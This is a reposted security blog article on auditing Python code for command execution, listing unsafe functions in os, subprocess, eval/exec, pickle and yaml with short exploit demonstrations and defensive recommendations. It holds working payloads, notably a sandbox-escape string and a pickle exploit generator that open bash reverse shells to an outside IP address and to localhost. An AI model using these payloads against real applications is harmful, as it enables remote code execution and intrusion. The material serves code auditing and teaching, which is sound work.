Python代码审计连载之四：Command Execution

笑然 / 2016-11-10 05:37:00 / 安全技术 漏洞分析

原文地址：https://www.cdxy.me/?p=747

This article summarizes unsafe functions and exploits in Python command/code execution.

os

Unsafe functions

- os.system
- os.popen
- os.popen2
- os.popen3
- os.popen4

Exploit

```
>>> import os
>>> os.system("id")
uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)
0
>>> os.popen("id").read()
'uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)\n'
```

subprocess / popen2

Unsafe functions

- subprocess.Popen
- subprocess.call
- subprocess.check_call
- subprocess.check_output
- popen2.popen2
- popen2.popen3
- popen2.popen4
- popen2.Popen3
- popen2.Popen4

Exploit

```
>>> import subprocess
>>> subprocess.Popen("id")
<subprocess.Popen object at 0x7fd84aa7d050>
>>> uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)
```

commands

Unsafe functions

- commands.getoutput
- commands.getstatusoutput

Exploit

```
>>> import commands
>>> commands.getoutput('id')
'uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)'
```

eval / exec

Exploit

```
>>> eval("os.system('id')")
uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)
0
>>> exec("os.system('id')")
uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)
```

Env bypass exploit

```
payload = '__import__("os").popen("/bin/bash -i >& /dev/tcp/119.29.235.20/12345 0>&1")'

for c in [].__class__.__base__.__subclasses__():
   if c.__name__ == 'catch_warnings':
       for b in c.__init__.func_globals.values():
           if b.__class__ == {}.__class__:
               if 'eval' in b.keys():
                   b['eval'](payload)
```

Related links

- [Ned Batchelder: Eval really is dangerous]

pickle / shelve / marshal

Unsafe functions

```
pickle.loads
pickle.load
pickle.Unpickler
cPickle.loads
cPickle.load
cPickle.Unpickler
shelve.open
marshal.load
marshal.loads
```

Pickle documentation about `__reduce__`

> When the Pickler encounters an object of a type it knows nothing about — such as an extension type — it looks in two places for a hint of how to pickle it. One alternative is for the object to implement a `__reduce__()` method. If provided, at pickling time `__reduce__()` will be called with no arguments, and it must return either a string or a tuple.

Exploit

```
>>> import pickle
>>> pickle.loads(b"cos\nsystem\n(S'id'\ntR.")
uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)
0
```

Exploit generator

```
import cPickle
import base64


class MMM(object):
   def __reduce__(self):
       import os
       s = "/bin/bash -i >& /dev/tcp/127.0.0.1/12345 0>&1"
       return (os.popen, (s,))

print base64.b64encode(cPickle.dumps(MMM()))
```

```
import cPickle
import base64

s = 'Y3Bvc2l4CnBvcGVuCnAxCihTJy9iaW4vYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMScKcDIKdFJwMwou'
cPickle.loads(base64.b64decode(s))
```

Development recommendation

- use XML, json or something else depends on your situation.

Related links

- Exploiting Misuse of Python's "Pickle"

yaml

Unsafe functions

- yaml.load
- yaml.load_all

Exploit

```
>>> import yaml
>>> yaml.load('!!python/object/apply:os.system ["id"]')
uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)
0
```

Development recommendation

- use `yaml.safe_load` and `yaml.safe_load_all`

Related links

- Tom Eastman - Serialization formats are not toys - PyCon 2015